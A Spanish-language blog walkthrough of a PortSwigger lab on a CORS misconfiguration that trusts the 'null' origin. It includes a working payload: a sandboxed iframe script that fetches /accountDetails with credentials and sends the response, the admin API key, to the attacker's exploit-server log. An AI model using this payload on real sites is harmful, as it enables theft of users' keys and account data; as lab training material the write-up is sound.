Entrada

CORS vulnerability with trusted null origin

Laboratorio de Portswigger sobre CORS

CORS vulnerability with trusted null origin

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este sitio web tiene una configuración Cross-Origin Resource Sharing (CORS) insegura ya que confía en el origen "null". Para resolver el laboratorio, debemos crear un script en JavaScript que utilice Cross-Origin Resource Sharing (CORS) para obtener la clave API del administrador y subir el exploit a nuestro servidor de explotación. El laboratorio se dará por resuelto cuando enviemos correctamente la clave API del administrador. Podemos iniciar sesión en nuestra cuenta utilizando las credenciales wiener:peter


Guía de CORS

Antes de completar este laboratorio es recomendable leerse esta guía de CORS https://justice-reaper.github.io/posts/CORS-Guide/

Resolución

Al acceder a la web vemos esto

Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que podemos cambiar nuestro email y una clave API

Si nos fijamos en la petición que se hace a /accountDetails cuando nos logueamos, veremos que el servidor nos responde con la cabecera Access-Control-Allow-Credentials: true. Esto no lo hace vulnerable a CORS, para que sea vulnerable tenemos que ser capaces de controlar el origen de la petición

Para comprobar si podemos manipular el origen de la petición mandamos esta petición al Repeater y añadimos la cabecera Origin: null. Vemos que nos responde con la cabecera Access-Control-Allow-Origin: null

Modificamos el payload anterior, nos dirigimos al Exploit server y lo pegamos

1
2
3
4
5
6
7
8
9
10
11
12
13
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
  <script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://0aa100af03ff4cc38027adf700490041.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
      location = 'https://exploit-0a2800d9039b4c5f8069ac7001ea0015.exploit-server.net/log?key=' + this.responseText;
    };
  </script>
"></iframe>

Pulsamos sobre View exploit para confirmar que funciona correctamente

Si pulsamos sobre Access log veremos que hemos recibido una petición con nuestra credenciales

Una vez comprobado que funciona, pulsamos sobre Deliver exploit to victim

Copiamos la cadena recibida en el Decoder de Burpsuite y la URL decodeamos

Pulsamos en Submit solution y añadimos la apiKey

Esta entrada está licenciada bajo CC BY 4.0 por el autor.